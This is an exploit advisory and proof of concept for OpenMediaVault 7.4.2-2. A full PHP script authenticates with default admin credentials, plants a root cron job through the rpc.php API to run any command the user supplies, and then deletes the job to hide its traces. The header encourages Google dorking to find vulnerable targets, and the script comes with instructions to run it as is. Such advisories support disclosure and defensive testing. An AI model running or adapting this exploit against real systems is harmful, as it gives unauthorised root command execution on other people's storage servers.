OpenMediaVault version 7.4.2-2 suffers from a PHP code injection vulnerability.
dee3901417baed652d3fc04ebaed8cad97b0a4d6b6b57d600f69ac46177f5cc4
=============================================================================================================================================
| # Title : OpenMediaVault 7.4.2-2 Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |
| # Vendor : https://www.openmediavault.org/ |
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] uses the CURL library for sending HTTP requests and handles JSON parsing for interaction with the OpenMediaVault API.
[+] Line 148 set your target .
[+] save code as poc.php .
[+] USage : cmd => c:\www\test\php poc.php
[+] PayLoad :
<?php
class OpenMediaVaultExploit
{
private $targetUri;
private $username;
private $password;
private $persistent;
private $cronUuid;
private $versionNumber;
public function __construct($targetUri, $username, $password, $persistent = false)
{
$this->targetUri = $targetUri;
$this->username = $username;
$this->password = $password;
$this->persistent = $persistent;
}
private function sendRequest($url, $data)
{
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($data));
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Content-Type: application/json'
]);
$response = curl_exec($ch);
curl_close($ch);
return json_decode($response, true);
}
public function login()
{
echo "Authenticating with OpenMediaVault using credentials {$this->username}:{$this->password}\n";
$data = [
'service' => 'Session',
'method' => 'login',
'params' => [
'username' => $this->username,
'password' => $this->password
],
'options' => null
];
$response = $this->sendRequest($this->targetUri . '/rpc.php', $data);
return isset($response['authenticated']) && $response['authenticated'] === true;
}
public function checkTarget()
{
echo "Trying to detect if target is running a vulnerable version of OpenMediaVault.\n";
$data = [
'service' => 'System',
'method' => 'getInformation',
'params' => null
];
$response = $this->sendRequest($this->targetUri . '/rpc.php', $data);
return $response;
}
public function checkVersion($response)
{
if (!empty($response)) {
$version = $response['response']['version'] ?? null;
return !is_null($version) ? preg_replace('/\s+/', '', explode('(', $version)[0]) : null;
}
return null;
}
public function executeCommand($cmd)
{
echo "Executing command...\n";
$schedule = $this->versionNumber >= '6.0.15-1' ? ['*'] : '*';
$uuid = $this->versionNumber <= '3.0.15' ? 'undefined' : 'fa4b1c66-ef79-11e5-87a0-0002b3a176b4';
$data = [
'service' => 'Cron',
'method' => 'set',
'params' => [
'uuid' => $uuid,
'enable' => true,
'execution' => 'exactly',
'minute' => $schedule,
'hour' => $schedule,
'dayofmonth' => $schedule,
'month' => $schedule,
'dayofweek' => $schedule,
'username' => 'root',
'command' => $cmd,
'sendemail' => false,
'comment' => '',
'type' => 'userdefined'
],
'options' => null
];
$response = $this->sendRequest($this->targetUri . '/rpc.php', $data);
$this->cronUuid = $response['response']['uuid'] ?? '';
$this->applyConfigChanges();
echo "Cron payload execution triggered.\n";
}
public function applyConfigChanges()
{
$data = [
'service' => 'Config',
'method' => 'applyChangesBg',
'params' => [
'modules' => [],
'force' => false
],
'options' => null
];
$this->sendRequest($this->targetUri . '/rpc.php', $data);
}
public function removePayload()
{
if (!$this->persistent) {
$data = [
'service' => 'Cron',
'method' => 'delete',
'params' => [
'uuid' => $this->cronUuid
]
];
$response = $this->sendRequest($this->targetUri . '/rpc.php', $data);
if ($response) {
$this->applyConfigChanges();
echo "Cron payload entry successfully removed.\n";
} else {
echo "Cannot access cron services to remove payload.\n";
}
}
}
}
// Usage
$exploit = new OpenMediaVaultExploit('http://target-uri', 'admin', 'openmediavault', false);
if ($exploit->login()) {
$response = $exploit->checkTarget();
if ($response) {
$exploit->versionNumber = $exploit->checkVersion($response);
$exploit->executeCommand('your-command-here');
$exploit->removePayload();
}
}
?>
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================